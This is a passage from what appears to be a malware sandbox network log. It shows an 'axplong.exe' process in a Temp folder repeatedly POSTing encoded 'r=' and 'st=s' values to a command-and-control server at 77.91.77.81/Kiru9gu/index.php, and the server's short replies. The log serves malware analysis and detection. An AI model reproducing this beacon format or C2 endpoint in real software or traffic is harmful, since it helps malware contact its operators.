Jun 4, 2024 23:10:03.108156919 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:03.390167952 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.11	49771	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:03.628083944 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:04.503112078 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:10:04.530652046 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:04.817747116 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.11	49772	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:05.001260996 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:05.911819935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.11	49773	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:05.923856974 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:06.846177101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.11	49774	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:06.970839024 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:08.858494043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:10:08.858871937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:10:08.859179974 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jun 4, 2024 23:10:08.859539986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.11	49775	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:08.874164104 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:09.783341885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.11	49776	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:09.911930084 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:10.821604013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.11	49777	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:10.831221104 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:11.736815929 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.11	49779	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:11.859195948 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:12.765333891 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.11	49780	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:12.789562941 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:13.708976030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.11	49781	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:13.828804016 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:14.731465101 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.11	49782	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:14.748502016 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:15.662625074 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.11	49783	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:15.783375025 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.11	49784	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:15.796740055 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:16.704839945 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.11	49785	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:16.831659079 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.11	49786	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:16.843425989 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:17.759413004 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.11	49787	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:17.879534960 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:18.784605026 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.11	49788	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:18.795826912 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:19.727345943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.11	49789	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:19.847919941 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 4, 2024 23:10:20.751692057 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.11	49790	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:20.774817944 CEST	304	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 45 32 42 38 43 41 39 46 30 45 44 37 34 41 41 46 46 41 44 45 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 39 41 37 34 35 43 32 46 32 46 44 33 33 43 32 31 38 42 43 41 32 31 44 31 31 34 43 37 39 36 36 44 30 41 42 34 43 36 45 43 32 38 41 42 33 31 35 36 44 38 30 34 32 35 42 30 39 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADE2B8CA9F0ED74AAFFADE24578B4B5647A288E7F81008DA96AE6CCF9A745C2F2FD33C218BCA21D114C7966D0AB4C6EC28AB3156D80425B09
Jun 4, 2024 23:10:22.602920055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 4, 2024 23:10:22.603552103 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 4, 2024 23:10:22.603796005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 4, 2024 23:10:22.604573011 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 04 Jun 2024 21:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.11	49791	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jun 4, 2024 23:10:22.828841925 CEST	152	OUT	POST /Kiru9gu/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.81 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.11	49792	77.91.77.81	80	3932	C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Timestamp	Bytes transferred	Direction	Data
